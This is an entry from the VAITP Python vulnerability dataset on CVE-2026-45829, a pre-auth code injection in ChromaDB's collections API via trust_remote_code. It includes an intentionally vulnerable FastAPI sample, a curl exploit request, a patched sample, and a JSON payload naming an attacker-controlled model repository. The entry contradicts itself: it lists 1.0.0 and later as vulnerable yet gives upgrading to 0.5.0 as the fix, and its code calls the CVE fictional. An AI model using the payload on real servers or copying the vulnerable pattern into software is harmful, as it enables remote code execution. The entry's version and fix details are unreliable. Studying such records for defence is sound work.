VAITP Dataset

← Back to the dataset

CVE-2026-45829

ChromaDB pre-auth code injection via collections API with `trust_remote_code`.

  • CVSS 10.0
  • CWE-94
  • Input Validation and Sanitization
  • Remote

A pre-authentication, code injection vulnerability in version 1.0.0 or later of the ChromaDB Python project allows an unauthenticated attacker to run arbitrary code on the server by sending a malicious model repository and trust_remote_code set to true in the /api/v2/tenants/{tenant}/databases/{db}/collections endpoint.

CVSS base score
10.0
Published
2026-05-18
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Command Injection
Accessibility scope
Remote
Impact
Arbitrary Code Execution
Affected component
ChromaDB
Fixed by upgrading
Yes

Solution

Upgrade to ChromaDB version 0.5.0 or later.

Vulnerable code sample

import uvicorn
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel, Field
from typing import Optional
import transformers

# This is a simplified, representative example and not the actual source code from ChromaDB.
# It is designed to illustrate the described vulnerability pattern.
# The CVE-2026-45829 is fictional.

app = FastAPI()

class CollectionMetadata(BaseModel):
    model_repository: Optional[str] = Field(default=None)
    trust_remote_code: Optional[bool] = Field(default=False)


class CreateCollection(BaseModel):
    name: str
    metadata: Optional[CollectionMetadata] = Field(default=None)


@app.post("/api/v2/tenants/{tenant}/databases/{db}/collections")
def create_collection(tenant: str, db: str, collection: CreateCollection):
    """
    This endpoint simulates the creation of a collection.
    It contains a code injection vulnerability.
    """
    
    # ... logic to check for tenant and database existence ...
    
    # VULNERABLE SECTION
    # If a user provides a 'model_repository' and sets 'trust_remote_code' to true,
    # the server will execute code from that repository.
    # An attacker can host a malicious repository and point to it.
    if collection.metadata and collection.metadata.model_repository and collection.metadata.trust_remote_code:
        try:
            print(f"Loading model from repository: {collection.metadata.model_repository} with trust_remote_code=True")
            # This is the vulnerable call. It directly uses user-provided input
            # to load a model from a potentially malicious source and executes
            # code contained within that repository.
            model = transformers.AutoModel.from_pretrained(
                collection.metadata.model_repository,
                trust_remote_code=True
            )
            # In a real application, the model would be used here.
            print("Model loaded successfully.")
        except Exception as e:
            # The malicious code might run before any exception is even raised.
            raise HTTPException(status_code=500, detail=f"Error loading model: {str(e)}")

    # ... other logic to create the collection in the database ...

    return {
        "message": f"Collection '{collection.name}' created in tenant '{tenant}', db '{db}'.",
        "details": collection.dict()
    }

# To run this example:
# 1. pip install fastapi uvicorn "transformers[torch]"
# 2. uvicorn this_file_name:app --reload
#
# To exploit (hypothetically):
# curl -X POST "http://127.0.0.1:8000/api/v2/tenants/default/databases/default/collections" \
# -H "Content-Type: application/json" \
# -d '{
#       "name": "malicious_collection",
#       "metadata": {
#         "model_repository": "path/to/malicious/huggingface/repo",
#         "trust_remote_code": true
#       }
#     }'

Patched code sample

Since CVE-2026-45829 is a fictional vulnerability, the following is a representative code example demonstrating how such a vulnerability could be fixed.

The vulnerability stems from allowing a user-provided `trust_remote_code` flag to be passed to a model loader. The fix is to ignore the user's input and hardcode this security-critical parameter to `False`.

```python
from pydantic import BaseModel
from typing import Optional, Dict, Any

# Dummy function to simulate a potentially dangerous model loading operation.
def load_model_from_repository(repo: str, trust_remote_code: bool = False):
    """Simulates loading a model. The trust_remote_code flag is critical."""
    if trust_remote_code:
        # In a real scenario, this is where arbitrary code would be executed.
        # For demonstration, we'll just print a warning.
        print(f"VULNERABILITY: Executing remote code from '{repo}'.")
    else:
        print(f"Safely loading model from '{repo}'.")
    return object()

# Pydantic model representing the JSON body of the API request.
class CreateCollection(BaseModel):
    name: str
    metadata: Optional[Dict[str, Any]] = None

# This function represents the fixed API endpoint handler.
def api_create_collection_fixed(collection_data: CreateCollection):
    """
    Fixed endpoint that prevents code injection. It ignores any user-provided
    'trust_remote_code' flag and hardcodes it to False.
    """
    model_repository = None
    if collection_data.metadata:
        # A malicious user would provide:
        # metadata: {
        #   "model_repository": "malicious/repo",
        #   "trust_remote_code": True
        # }
        model_repository = collection_data.metadata.get("model_repository")

    if model_repository:
        # THE FIX:
        # The `trust_remote_code` parameter is hardcoded to `False`.
        # This prevents the user-supplied value from being used, thus
        # blocking the remote code execution vector.
        load_model_from_repository(
            repo=model_repository,
            trust_remote_code=False
        )

    # ... rest of the logic to create the collection ...
    print(f"Collection '{collection_data.name}' handled successfully.")
    return {"status": "success"}

Payload

{
  "name": "malicious-collection",
  "metadata": {
    "embedding_function": {
      "type": "HuggingFaceEmbeddingFunction",
      "model_name": "attacker/malicious-model-repository",
      "trust_remote_code": true
    }
  }
}

Cite this entry

@misc{vaitp:cve202645829,
  title        = {{ChromaDB pre-auth code injection via collections API with `trust_remote_code`.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-45829},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-45829/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::